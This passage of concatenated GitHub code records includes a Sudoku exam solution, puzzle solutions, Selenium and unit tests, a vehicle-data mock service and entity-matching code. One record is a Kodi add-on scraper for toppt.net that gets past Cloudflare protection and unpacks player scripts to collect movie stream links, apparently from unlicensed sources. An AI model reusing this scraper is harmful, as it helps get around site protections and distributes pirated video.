settings.MEDIA_ROOT)","repo_name":"Norah-Waswala/neighbours","sub_path":"regionapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"5470054784","text":"### Emelt Informatika Érettségi - 2021 Október - Sudoku\n\n# visszaadja, hogy az x,y koordinátájú elem melyik résztáblába tartozik\ndef get_resz(x,y):\n resz = (x // 3)*3 + (y // 3)\n return resz\n\n# az r sorszámú résztábla kilenc elemét adja vissza egy listában\ndef get_resztabla(r):\n resz_tabla = []\n rx = r // 3 # résztábla sora\n ry = r % 3 # résztábla oszlopa\n # három különböző sor\n for x in range(0,3):\n # három oszlopnyi elem\n elem_sor = tabla[3*rx + x][3*ry: 3*ry + 3]\n resz_tabla.extend(elem_sor)\n return resz_tabla\n\n# sudoku tábla egy 9*9-es 2 dimenziós tömbben (nested list)\ntabla = []\n# lepesek egy n*3-es 2 dimenziós tömbben (nested list)\nlepesek = []\n\n\n# 1. Olvassa be egy fájl nevét, egy sor és egy oszlop sorszámát (1 és 9 közötti számot)!\n# A későbbi feladatokat ezen értékek felhasználásával kell megoldania!\nprint(\"\\n1.feladat\")\nfilename = input(\"Állomány neve = \")\n# filename = \"kozepes.txt\"\nrow = int(input(\"Sor = \"))-1\ncol = int(input(\"Oszlop = \"))-1\n\n\n# 2. Az előző feladatban beolvasott névnek megfelelő fájl tartalmát olvassa be, és tárolja el a táblázat adatait!\nprint(\"\\n2.feladat\")\nwith open(filename, \"r\") as fileBe:\n # elso kilenc sor beolvasasa\n for i in range(0,9):\n # a sort egyből feldaraboljuk: karaktereket tartalmazó listává\n sor = fileBe.readline().strip().split(\" \")\n # és hozzáfűzzük a tömbhöz\n tabla.append(sor)\n # a maradék sor kiolvasása (az állomány végéig)\n while True:\n line = fileBe.readline()\n # ha nem üres stringet olvasunk ki\n if line != \"\":\n datas = line.strip().split(\" \")\n lepesek.append([datas[0], int(datas[1]), int(datas[2])])\n else:\n # vége az állománynak, kilépünk a ciklusból\n break\nprint(\"Adatok beolvasva\")\n\n\n# 3. Írja ki a képernyőre, hogy a beolvasott sor és oszlop értékének megfelelő hely…\n# a. milyen értéket tartalmaz! Ha az adott helyen a 0 olvasható, akkor az „Az adott helyet még nem töltötték ki.” szöveget jelenítse meg!\n# b. melyik résztáblázathoz tartozik!\nprint(\"\\n3.feladat\")\nif tabla[row][col] != \"0\":\n print(f\"a) Érték = {tabla[row][col]}\")\nelse:\n print(\"a) Az adott helyet még nem töltötték ki.\")\nprint(f\"b) Résztábla = {get_resz(row,col)+1}\")\n\n\n# 4. Határozza meg a táblázat hány százaléka nincs még kitöltve! Az eredményt egy tizedesjegy pontossággal jelenítse meg a képernyőn!\nprint(\"\\n4.feladat\")\nossz = len(tabla)*len(tabla[0])\nzerok = 0\n# minden sor egy lista, amelyben megszámoljuk, hány nulla van\nfor i in range(0,len(tabla)):\n zerok += tabla[i].count(\"0\")\nprint(f\"{zerok/ossz:.1%}\")\n\n\n# 5. Vizsgálja meg, hogy a fájlban szereplő lépések lehetségesek-e a beolvasott táblázaton!\n# Tekintse mindegyiket úgy, mintha az lenne az egyetlen lépés az eredeti táblázaton, de ne hajtsa azt végre!\n# Állapítsa meg, hogy okoz-e valamilyen ellentmondást a lépés végrehajtása!\n# Írja ki a lépéshez tartozó három értéket, majd a következő sorba írja az alábbi megállapítások egyikét!\n# # Ha több megállapítás is igaz, elegendő csak egyet megjelenítenie.\n# • „A helyet már kitöltötték”\n# • „Az adott sorban már szerepel a szám”\n# • „Az adott oszlopban már szerepel a szám”\n# • „Az adott résztáblázatban már szerepel a szám”\n# • „A lépés megtehető”\nprint(\"\\n5.feladat\")\nfor i in range(0, len(lepesek)):\n szam = lepesek[i][0]\n row = lepesek[i][1]-1\n col = lepesek[i][2]-1\n if tabla[row][col] != \"0\" :\n print(\"A helyet már kitöltötték\")\n elif szam in tabla[row]:\n print(\"Az adott sorban már szerepel a szám\")\n elif szam in [tabla[i][col] for i in range(0,9)]:\n print(\"Az adott oszlopban már szerepel a szám\")\n elif szam in get_resztabla(get_resz(row,col)):\n print(\"Az adott résztáblázatban már szerepel a szám\")\n else:\n print(\"A lépés megtehető\")\n\n\n \n\n\n","repo_name":"mscharni/eInfPrgPython","sub_path":"einf_2021_okt_sudoku/sudoku_simple.py","file_name":"sudoku_simple.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"hu","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"34605926168","text":"import re,urllib,urllib2,urlparse\n\nfrom resources.lib.libraries import cleantitle\nfrom resources.lib.libraries import cloudflare\nfrom resources.lib.libraries import client\nfrom resources.lib.libraries import jsunpack\nfrom resources.lib.resolvers import openload\nfrom resources.lib import resolvers\n\nclass source:\n def __init__(self):\n self.base_link = 'http://toppt.net'\n self.search_link = '/?s=%s'\n\n\n def get_movie(self, imdb, title, year):\n try:\n title,genero_imdb = self.get_portuguese_name(imdb, title, year) \n \n query = self.search_link % (urllib.quote_plus(title))\n query = urlparse.urljoin(self.base_link, query)\n\n #title = cleantitle.movie(title)\n\n result = cloudflare.source(query)\n result = client.parseDOM(result, 'div', attrs = {'id': 'main.+?'})[0] \n result = client.parseDOM(result, 'div', attrs = {'class': 'post clearfix.+?'})\n\n audiopt = 'audio'\n for results in result:\n try:\n audiopt = re.compile('AUDIO:(.+?) ').findall(results.replace(\" \",''))[0]\n if 'PT' in audiopt.upper() and genero_imdb == 'Animation':\n audiopt = 'PT'\n break\n except:audiopt = 'audio'\n\n for results in result:\n try:result_audio = re.compile('AUDIO:(.+?) ').findall(results.replace(\" \",''))[0]\n except: result_audio = 'result_audio'\n try:result_imdb = re.compile('imdb.com/title/(.+?)/').findall(results)[0]\n except: result_imdb = 'result_imdb'\n try:result_title = client.parseDOM(results, 'a', ret='title')[0]\n except:pass\n try:result_url = client.parseDOM(results, 'a', ret='href')[0]\n except:result_url = ''\n try:\n if audiopt == 'PT':\n if imdb == result_imdb and audiopt in result_audio.upper():\n url = result_url\n break\n elif imdb == result_imdb:\n url = result_url\n break\n except: pass\n return url\n except:\n return\n\n\n def get_sources(self, url, hosthdDict, hostDict, locDict):\n## sources = []\n## sources.append({'source': 'Videomega', 'quality': 'HD', 'provider': 'TopPt'+url, 'url': url})\n try:\n sources = []\n\n if url == None: return sources\n\n url = url.replace(self.base_link,'')\n\n result = cloudflare.source(urlparse.urljoin(self.base_link, url))\n\n try:audiopt = re.compile('AUDIO:(.+?) ').findall(result.replace(\" \",''))[0]\n except:audiopt = 'audio'\n if 'PT' in audiopt.upper(): audio_filme = ' | PT-PT'\n else: audio_filme = ''\n\n try:\n try:quality = re.compile('VERS.+?:(.+?) ').findall(result.replace(' ',''))[0]\n except:quality = re.compile('RELEASE:(.+?) ').findall(result.replace(' ',''))[0]\n quality = quality.strip().upper()\n if 'CAM' in quality or 'TS' in quality: quality = 'CAM'\n elif 'SCREENER' in quality: quality = 'SCR'\n elif 'BRRIP' in quality or 'BDRIP' in quality or 'HDRIP' in quality or '720P' in quality: quality = 'HD'\n elif '1080P' in quality: quality = '1080p'\n else: quality = 'SD'\n except: quality = 'SD'\n\n host_url = re.compile('(.+?)').findall(result.replace(' ',''))\n for url,host in host_url:\n host = host.strip().lower()\n if 'openload' in host:\n try:\n if openload.check(url) == False: raise Exception()\n sources.append({'source': 'Openload'+audio_filme, 'quality': quality, 'provider': 'TopPt', 'url': url})\n except:\n pass\n elif 'videomega' in host:\n try:\n url = re.compile('hashkey=([\\w]+)').findall(result)\n url += re.compile('ref=[\\'|\\\"](.+?)[\\'|\\\"]').findall(result)\n url = 'http://videomega.tv/cdn.php?ref=%s' % url[0]\n url = resolvers.request(url)\n if url == None: raise Exception()\n sources.append({'source': 'Videomega'+audio_filme, 'quality': quality, 'provider': 'TopPt', 'url': url})\n except:\n pass \n if 'openload' not in host and 'trailer' not in host: sources.append({'source': host+audio_filme, 'quality': quality, 'provider': 'TopPt', 'url': url})\n return sources\n except:\n return sources\n\n def get_portuguese_name(self, imdb, title, year):\n try:\n genero_imdb = 'genero_imdb'\n genre_imdb = 'http://akas.imdb.com/title/'+imdb+'/?ref_=fn_al_tt_1'\n req = urllib2.Request(genre_imdb)\n req.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-Pt; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18')\n response = urllib2.urlopen(req)\n genre_imdb=response.read()\n response.close()\n \n titulo=re.compile('itemprop=\"name\">(.+?)').findall(genre_imdb)\n if titulo:\n t = titulo[0]\n titulo = str(t)\n else: titulo = str(title)\n genre_imdb = client.parseDOM(genre_imdb, 'span', attrs = {'class': 'itemprop.+?'}) \n for i in genre_imdb:\n if 'Animation' in i:\n genero_imdb = 'Animation'\n title = str(titulo).replace(':','')\n break\n return title,genero_imdb\n except:\n return title,genero_imdb\n\n\n def resolve(self, url):\n try:\n if 'videowood' in url:\n try:\n packed = cloudflare.source(url.replace('/video/','/embed/'))\n packed = re.compile('eval(.+?)').findall(packed.replace(\"\\n\", \"\").replace(\" \",\"\"))[0]\n packed = 'eval'+packed.replace('\\\\','')\n unpacked = jsunpack.unpack(packed)\n url = re.compile('\"file\":\"(.+?)\"').findall(unpacked)#[1]\n url = [i for i in url if not i.endswith('.srt') and not i.endswith('.png')][0]\n except:\n pass\n else: url = resolvers.request(url)\n return url\n except:\n return\n\n\n","repo_name":"OMaluco/O_Repositorio_Maluco-","sub_path":"plugin.video.genesisSDP/resources/lib/sources/toppt_mv.py","file_name":"toppt_mv.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"7765708858","text":"def c1(lines):\n\ttot = 0\n\tfor l in lines:\n\t\ttmp = l.split(\",\")\n\t\tpair1 = list(map(lambda x: int(x), tmp[0].split(\"-\")))\n\t\tpair2 = list(map(lambda x: int(x.strip()), tmp[1].split(\"-\")))\n\t\tif (pair1[0] <= pair2[0] and pair2[1] <= pair1[1]) or (pair2[0] <= pair1[0] and pair1[1] <= pair2[1]):\n\t\t\ttot+=1\n\tprint(\"challenge 1:\",tot)\n\t\t\t\n\ndef c2(lines):\n\ttot = 0\n\tfor l in lines:\n\t\ttmp = l.split(\",\")\n\t\tpair1 = list(map(lambda x: int(x), tmp[0].split(\"-\")))\n\t\tpair2 = list(map(lambda x: int(x.strip()), tmp[1].split(\"-\")))\n\t\tif (pair2[0] <= pair1[0] <= pair2[1] or pair2[0] <= pair1[1] <= pair2[1] or pair1[0] <= pair2[0] <= pair1[1] or pair1[0] <= pair2[1] <= pair1[1]):\n\t\t\ttot += 1 \n\tprint(\"challenge 2:\", tot)\n\t\nwith open(\"input.txt\", \"r\") as f:\n\tlines = f.readlines()\n\tc1(lines)\n\tc2(lines)\n\n","repo_name":"Fef0/AdventOfCode2022","sub_path":"04-12-2022/04-12-2022.py","file_name":"04-12-2022.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"35022798281","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\nimport math\n\ntry:\n link = \"http://suninjuly.github.io/selects1.html\"\n browser = webdriver.Chrome()\n browser.get(link)\n \n # Находим первое заначение и переводим в число\n a_element = browser.find_element(By.ID, \"num1\")\n a = int(a_element.text)\n # Находим второе заначение и переводим в число\n b_element = browser.find_element(By.ID, \"num2\")\n b = int(b_element.text)\n # Находим сумму \n x= a+b\n # Находим значение Х в выпадающем меню и кликаем по нему\n browser.find_element(By.CSS_SELECTOR, (f\"[value='{x}']\")).click()\n \n # Находим кнопку Select и кликаем по кнопке\n button = browser.find_element(By.CSS_SELECTOR, \"button.btn\")\n button.click()\n \n time.sleep(1)\n\t\nfinally:\n # ожидание чтобы визуально оценить результаты прохождения скрипта\n time.sleep(10)\n # закрываем браузер после всех манипуляций\n browser.quit()","repo_name":"ElenaProkorym/stepik_auto_tests_course","sub_path":"lesson6_step13.py","file_name":"lesson6_step13.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71060330115","text":"#!/usr/bin/python3\n\nimport unittest\nimport json\nfrom models.base_model import BaseModel\nfrom models.user import User\nfrom models import storage\nfrom os import path\n\n\nclass TestBase(unittest.TestCase):\n def test_all(self):\n base = BaseModel()\n all_storage = storage.all()\n self.assertIsNotNone(all_storage)\n self.assertEqual(all_storage, storage.all())\n self.assertIs(all_storage, storage.all())\n\n def test_new(self):\n all_storage = storage.all()\n User_ = User()\n User_.name = \"Bill\"\n user_id = User_.id\n storage.new(User_)\n self.assertIsNotNone(all_storage[User_.__class__.__name__ + \".\" + User_.id])\n\n def test_save(self):\n base = BaseModel()\n base.save\n with open(self.__file_path, \"r\") as f:\n dict_of_dict = json.load(f) \n self.assertIsNotNone(dict_of_dict)\n self.assertEqual(dict, type(dict_of_dict))\n self.assertTrue(os.path.exists(self.__file_path))\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Babadu31/holbertonschool-AirBnB_clone","sub_path":"tests/test_models/test_engine/test_file_storage.py","file_name":"test_file_storage.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23425979631","text":"import fileinput\ndef time(imp,n):\n global F\n return (imp/(2+n*F))\n\ndef costo(x,n):\n global C\n if (x,n) in tab :\n return tab[(x,n)]\n else:\n coston=0\n if n==0:\n return time(x,0)\n tab[(x,0)]=time(x,0)\n else:\n #print(\"x \", x, \"n \",n , \"C \" ,C)\n coston=time(x,n)+costo(C,n-1)\n tab[(x,n)]=coston\n\n return coston \n\nglobal C,F,X,tab\n\nmini=0\nleggi=fileinput.input()\nnumCases=(int)(leggi.readline())\nfor i in range(numCases):\n read=leggi.readline().split()\n tab={}\n C=float(read[0])\n F=float(read[1])\n X=float(read[2])\n ni=0\n cond=0\n while(cond==0):\n min=costo(X,ni)\n if costo(X,ni+1) > costo(X,ni) :\n cond=1\n else:\n ni+=1\n print(\"Case #\"+str(i+1)+\": \"+\"%.7f\"% min) \n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/2802.py","file_name":"2802.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"38547222704","text":"import globals\r\nfrom turtle import Turtle\r\n\r\nLEFT_LIM = (globals.WIDTH / 2) * -1\r\nRIGHT_LIM = globals.WIDTH / 2\r\nUP_LIM = globals.HEIGHT / 2\r\nDOWN_LIM = (globals.HEIGHT / 2) * -1\r\n\r\n\r\nclass Paddle(Turtle):\r\n def __init__(self):\r\n super().__init__()\r\n pos_x = 0\r\n pos_y = DOWN_LIM + 40\r\n self.shape('square')\r\n self.color('#e9ecef')\r\n self.up()\r\n self.goto(x=pos_x, y=pos_y)\r\n self.shapesize(1, globals.PADDLE_SIZE)\r\n\r\n def move_left(self):\r\n new_x = self.xcor() - globals.MOVEMENT\r\n if new_x >= LEFT_LIM + (globals.PADDLE_WIDTH / 2):\r\n self.setx(new_x)\r\n\r\n def move_right(self):\r\n new_x = self.xcor() + globals.MOVEMENT\r\n if new_x <= RIGHT_LIM - (globals.PADDLE_WIDTH / 2):\r\n self.setx(new_x)\r\n","repo_name":"60659/breakout","sub_path":"paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"24363492931","text":"import asyncio\nimport logging\nimport os\nimport signal\nimport threading\nimport time\nfrom concurrent.futures import ThreadPoolExecutor\nfrom typing import Any, Dict, Iterator, List\n\nimport grpc\nfrom kuksa.val.v1.types_pb2 import Field\nfrom kuksa.val.v1.val_pb2 import SubscribeEntry, SubscribeRequest, SubscribeResponse\nfrom lib.animator import Animator\nfrom lib.baseservice import BaseService, is_grpc_fatal_error\nfrom lib.behavior import Behavior, BehaviorExecutor\nfrom lib.datapoint import MockedDataPoint\nfrom lib.loader import PythonDslLoader\nfrom lib.types import Event\nfrom sdv.databroker.v1.broker_pb2 import GetMetadataReply, GetMetadataRequest\nfrom sdv.databroker.v1.collector_pb2 import (\n RegisterDatapointsRequest,\n RegistrationMetadata,\n UpdateDatapointsRequest,\n)\nfrom sdv.databroker.v1.types_pb2 import DataType, Metadata\n\nSERVICE_NAME = \"mock_service\"\n\nlog = logging.getLogger(SERVICE_NAME)\nevent = threading.Event()\n\n# Mock Service bind \"host:port\"\nMOCK_ADDRESS = os.getenv(\"MOCK_ADDR\", \"0.0.0.0:50053\")\n\n# Data point events from VDB\nEVENT_KEY_ACTUATOR_TARGET = \"actuator_target\"\nEVENT_KEY_VALUE = \"value\"\n\n\nclass MockService(BaseService):\n \"\"\"Service implementation which reads custom mocking configuration\n from mock.py and then simulated the programmed behavior of the mocked\n datapoints.\"\"\"\n\n def __init__(self, service_address: str):\n super().__init__(service_address, SERVICE_NAME)\n self._ids: Dict[str, Any] = dict()\n self._registered = False\n self._last_tick = time.perf_counter()\n self._pending_event_list: List[Event] = list()\n self._animators: List[Animator] = list()\n self._vdb_metadata: Dict[str, Metadata] = dict()\n self._mocked_datapoints: Dict[str, MockedDataPoint] = dict()\n self._behaviors: List[Behavior] = list()\n\n def on_databroker_connected(self):\n \"\"\"Callback when a connection to the data broker is established.\"\"\"\n if not self._registered:\n self._read_metadata()\n\n loader_result = PythonDslLoader().load(self._vdb_metadata)\n self._mocked_datapoints = loader_result.mocked_datapoints\n for _, datapoint in self._mocked_datapoints.items():\n datapoint.value_listener = self._on_datapoint_updated\n self._behaviors = loader_result.behavior_dict\n\n self._behavior_executor = BehaviorExecutor(\n self._mocked_datapoints, self._behaviors, self._pending_event_list\n )\n self._register_datapoints()\n self._subscribe_to_mocked_datapoints()\n self._feed_initial_values()\n self._registered = True\n\n def main_loop(self):\n \"\"\"Main execution loop which checks if behaviors shall be executed.\"\"\"\n # wait for datapoints to be registered\n while not self._registered:\n time.sleep(1)\n\n try:\n while True:\n current_tick_time = time.perf_counter()\n delta_time: float = current_tick_time - self._last_tick\n self._behavior_executor.execute(delta_time, self._animators)\n\n remove_animators: List[Animator] = list()\n for animator in self._animators:\n if not animator.is_done():\n animator.tick(delta_time)\n else:\n remove_animators.append(animator)\n\n for animator in remove_animators:\n self._animators.remove(animator)\n\n self._last_tick = time.perf_counter()\n time.sleep(0.1)\n except Exception as exception:\n log.exception(exception)\n\n def _on_datapoint_updated(self, datapoint: MockedDataPoint):\n \"\"\"Callback whenever the value of a mocked datapoint changes.\"\"\"\n self._set_datapoint(datapoint.path, datapoint.data_type, datapoint.value)\n\n def _read_metadata(self):\n \"\"\"Read metadata from data broker.\"\"\"\n request = GetMetadataRequest()\n reply: GetMetadataReply = self._stub_broker.GetMetadata(\n request, metadata=self._metadata\n )\n for metadata in reply.list:\n self._vdb_metadata[metadata.name] = metadata\n\n def _register_datapoints(self):\n \"\"\"Register mocked datapoints at data broker.\"\"\"\n for datapoint in self._mocked_datapoints.values():\n if datapoint.is_mocked:\n metadata = self._vdb_metadata[datapoint.path]\n self._register(datapoint.path, metadata.data_type, metadata.change_type)\n\n def _feed_initial_values(self):\n \"\"\"Provide initial values of all mocked datapoints to data broker.\"\"\"\n for datapoint in self._mocked_datapoints.values():\n if datapoint.data_type is not None:\n self._set_datapoint(\n datapoint.path, datapoint.data_type, datapoint.value\n )\n\n def _mock_update_request_handler(\n self, response_iterator: Iterator[SubscribeResponse]\n ) -> None:\n \"\"\"Callback when an update event is received from data broker.\"\"\"\n try:\n for response in response_iterator:\n for update in response.updates:\n if update.entry.HasField(EVENT_KEY_ACTUATOR_TARGET):\n mocked_datapoint = self._mocked_datapoints[update.entry.path]\n raw_value = getattr(\n update.entry.actuator_target,\n MockService._get_value_attribute_name(\n mocked_datapoint.data_type\n ),\n )\n self._pending_event_list.append(\n Event(\n EVENT_KEY_ACTUATOR_TARGET, update.entry.path, raw_value\n )\n )\n if update.entry.HasField(EVENT_KEY_VALUE):\n mocked_datapoint = self._mocked_datapoints[update.entry.path]\n raw_value = getattr(\n update.entry.value,\n MockService._get_value_attribute_name(\n mocked_datapoint.data_type\n ),\n )\n self._pending_event_list.append(\n Event(EVENT_KEY_VALUE, update.entry.path, raw_value)\n )\n except Exception as e:\n log.exception(e)\n raise\n\n def _subscribe_to_mocked_datapoints(self):\n \"\"\"Subscribe to mocked datapoints.\"\"\"\n log.info(\"Subscribing to mocked datapoints...\")\n\n # wait until the stub is available\n while self._stub_val is None:\n time.sleep(1)\n\n request = SubscribeRequest()\n for mocked_datapoint in self._mocked_datapoints.values():\n entry = SubscribeEntry(path=mocked_datapoint.path)\n if mocked_datapoint.data_type is not None:\n entry.fields.append(Field.FIELD_ACTUATOR_TARGET)\n else:\n entry.fields.append(Field.FIELD_VALUE)\n request.entries.append(entry)\n\n response_iter = self._stub_val.Subscribe(request, metadata=self._metadata)\n self._executor = ThreadPoolExecutor()\n self._executor.submit(self._mock_update_request_handler, response_iter)\n\n def _register(self, name, data_type, change_type):\n \"\"\"Register a single data point with data broker.\"\"\"\n request = RegisterDatapointsRequest()\n registration_metadata = RegistrationMetadata()\n registration_metadata.name = name\n registration_metadata.data_type = data_type\n registration_metadata.description = \"\"\n registration_metadata.change_type = change_type\n request.list.append(registration_metadata)\n response = self._stub.RegisterDatapoints(request, metadata=self._metadata)\n self._ids[name] = response.results[name]\n\n @staticmethod\n def _get_value_attribute_name(data_type: DataType, suffix: str = \"\") -> str:\n \"\"\"Get the value attribute name for datapoint types returned via gRPC.\"\"\"\n return f\"{DataType.Name(data_type).lower().replace('8','32').replace('16', '32')}{suffix}\"\n\n def _set_datapoint(self, name: str, data_type: DataType, value: Any):\n \"\"\"Set the value of a datapoint within databroker.\"\"\"\n _id = self._ids[name]\n request = UpdateDatapointsRequest()\n\n setattr(\n request.datapoints[_id],\n MockService._get_value_attribute_name(data_type, \"_value\"),\n value,\n )\n try:\n log.info(\"Feeding '%s' with value %s\", name, value)\n self._stub.UpdateDatapoints(request, metadata=self._metadata)\n except grpc.RpcError as err:\n log.warning(\"Feeding %s failed\", name, exc_info=True)\n self._connected = is_grpc_fatal_error(err)\n raise err\n\n\nasync def main():\n \"\"\"Main function\"\"\"\n mock_service = MockService(MOCK_ADDRESS)\n mock_service.main_loop()\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n log.setLevel(logging.DEBUG)\n LOOP = asyncio.get_event_loop()\n LOOP.add_signal_handler(signal.SIGTERM, LOOP.stop)\n LOOP.run_until_complete(main())\n LOOP.close()\n","repo_name":"ley901017/kuksa.val.services","sub_path":"mock_service/mockservice.py","file_name":"mockservice.py","file_ext":"py","file_size_in_byte":9383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"}
+{"seq_id":"25212064185","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 31 14:26:29 2018\n\n@author: KAUSTAV\n\"\"\"\n\nimport numpy\nnumpy.__version__\nimport pandas\npandas.__version__\nimport pandas as pd\n\ndata = pd.Series([0.25,0.5,0.75,1.0])\n\ndata.values\n\ndata=pd.Series([0.25,0.5,0.75,1.0],index=['a','b','c','d'])\ndata\n\ndata['b']\n\ndata=pd.Series([0.25,0.5,0.75,1.0],index=[2,5,3,7])\ndata\ndata[5]\n\npopulation_dict = {'Delhi':1,\n 'Kolkata':2,\n 'Noida':3,\n 'Mumbai':4,\n 'Guwahati':5}\n\npopulation_dict['California']\npopulation_dict['California':'Illinois']\n\npd.Series(5, index=[100,200,300])\n\npd.Series({2:'a',1:'b',3:'c'},index=[3,2])\n\n\npopulation=[100,200,300]\narea=[10,20,30]\npd.DataFrame({'population':population,'area':area})\n\npd.DataFrame(population, columns=['population'])\n\nrollno = [1,2,3]\nnames = ['A','B','C']\ndf1=pd.DataFrame(rollno,names,)\n\nsdata2 = pd.DataFrame(list(zip(rollno,names)))\n\npd.DataFrame(np.random.rand(3,2),columns=['foo','bar'],index=['a','b','c'])\n\npd.index([2,3,5,7,11])\n\nindA = pd.Index([1,3,5,7,9])\nindB = pd.Index([2,3,5,7,11])\nindA & indB\nindA|indB\n\ndata.iloc[1]\n\ndata.iloc[1:3]\n\ndata['area']\ndata.area\n\ndata.area is data['area']\n\ndata.T\n\ndata.values[0]\n\n\n\n\n\n\n\n","repo_name":"KSTVCHATTERJEE/Py_in_Action","sub_path":"pandas/untitled0.py","file_name":"untitled0.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"11711320087","text":"#!/usr/bin/python3\n\"\"\"\n this module contains a method to\n calculate how much water will be retained after it rains.\n\"\"\"\n\n\ndef rain(walls):\n \"\"\"calculate how much water will be retained after it rains.\"\"\"\n if not walls or len(walls) == 0:\n return 0\n\n volume = 0\n left, right = 0, len(walls) - 1\n l_max, r_max = walls[left], walls[right]\n\n while left < right:\n l_max, r_max = max(walls[left], l_max), max(walls[right], r_max)\n if l_max <= r_max:\n volume += l_max - walls[left]\n left += 1\n else:\n volume += r_max - walls[right]\n right -= 1\n return volume\n","repo_name":"FatChicken277/holbertonschool-interview","sub_path":"0x10-rain/0-rain.py","file_name":"0-rain.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"70319207234","text":"import re\nfrom collections import defaultdict as ddict\nimport dill\nimport scipy.sparse as sp\nimport unidecode\nfrom rdflib import URIRef\n\nfrom util import short_str, dameraulevenshtein, get_deletes_list\n\n\nclass EntityDisamb:\n def __init__(self, path, ents_dict):\n self.ents_dict = ents_dict\n self.inv_ents_dict = {k: v for v, k in self.ents_dict.items()}\n self.sim_sets = ddict(lambda: set())\n rows, cols = [], []\n for line in open(path, \"rb\"):\n triple = line.split(\" \")\n if len(triple) == 4 and triple[0] and triple[2]:\n s, o = triple[0][1:-1], triple[2][1:-1]\n s = URIRef(s)\n o = URIRef(o)\n\n s_id, o_id = None, None\n if s in self.ents_dict:\n s_id = ents_dict[s]\n if o in self.ents_dict:\n o_id = ents_dict[o]\n\n if s_id and o_id:\n rows += [s_id, o_id]\n cols += [o_id, s_id]\n else:\n if not s_id and o_id:\n self.sim_sets[s].add(o_id)\n if not o_id and s_id:\n self.sim_sets[o].add(s_id)\n\n for k, v in self.sim_sets.items():\n if len(v):\n for i in v:\n for j in v:\n if j != i:\n rows.append(i)\n cols.append(j)\n self.A = sp.coo_matrix(([True] * len(rows), (rows, cols)), shape=(len(ents_dict), len(ents_dict)), dtype=bool)\n self.A = self.A.tocsr()\n\n def __getitem__(self, key):\n return self.A.__getitem__(key)\n\n def suggestions(self, ent):\n return self.A[ent].indices\n\n def save(self, path):\n dill.dump(self, open(path, \"wb\"))\n\n @staticmethod\n def load(path):\n return dill.load(open(path, \"rb\"))\n\n\nclass EntityASM:\n def __init__(self, max_edit_distance=1, k=10, verbose=True):\n self.dictionary = {}\n self.hash_deletes = ddict(lambda: [])\n self.similar_tokens = ddict(lambda: [])\n self.max_edit_distance = max_edit_distance\n self.k = k\n self.verbose = verbose\n self.longest_word_length = 0\n self.ent_word_counts = {}\n\n def create_dictionary_entry(self, w, entity=[]):\n # print(w)\n '''add word and its derived deletions to dictionary'''\n # check if word is already in dictionary\n # dictionary entries are in the form: (list of suggested corrections,\n # frequency of word in corpus)\n\n if w in self.dictionary:\n # increment count of word in corpus\n self.dictionary[w] = (self.dictionary[w][0] + 1, self.dictionary[w][1] + entity)\n else:\n self.dictionary[w] = (1, entity)\n self.longest_word_length = max(self.longest_word_length, len(w))\n\n self.hash_deletes[w].append(w)\n deletes = get_deletes_list(w, self.max_edit_distance)\n for item in deletes:\n self.hash_deletes[item].append(w)\n\n def create_dictionary(self, ents_dict):\n if isinstance(ents_dict.keys()[0], int):\n self.ents_dict = ents_dict\n else:\n self.ents_dict = {k: v for v, k in ents_dict.items()}\n total_word_count = 0\n unique_word_count = 0\n print(\"Creating dictionary...\")\n for id, ent in self.ents_dict.items():\n # separate by words by non-alphabetical characters\n line = short_str(ent)\n line = line.decode(\"utf-8\")\n line = unidecode.unidecode(line)\n words = self.get_words(line)\n self.ent_word_counts[id] = len(words)\n for word in words:\n total_word_count += 1\n if self.create_dictionary_entry(word, [id]):\n unique_word_count += 1\n\n for k, tokens in self.hash_deletes.items():\n for t in tokens:\n self.similar_tokens[t].extend(tokens)\n\n for k, v in self.similar_tokens.items():\n self.similar_tokens[k] = set(v)\n del self.hash_deletes\n\n if self.verbose:\n print(\"total words processed: %i\" % total_word_count)\n print(\"total unique words in corpus: %i\" % unique_word_count)\n print(\"total items in dictionary (corpus words and deletions): %i\" % len(self.dictionary))\n print(\" edit distance for deletions: %i\" % self.max_edit_distance)\n print(\" length of longest word in corpus: %i\" % self.longest_word_length)\n\n def get_words(self, string):\n string = re.sub(\"_?\\(.*\\)\", \"\", string.lower())\n words = re.findall('[a-z]+', string) # [1:]\n return words\n\n def get_similar_entities(self, entity, id=True, silent=True, match_all_words=False):\n string = short_str(entity)\n return self.get_suggestions(string, id=id, silent=silent, match_all_words=match_all_words)\n\n def get_suggestions(self, string, id=True, silent=True, match_all_words=False):\n query_words = self.get_words(string)\n all_sugestions = []\n len_query = len(query_words)\n for word in query_words:\n all_sugestions += self.get_word_suggestions(word, silent=silent)\n\n results = {}\n for word, 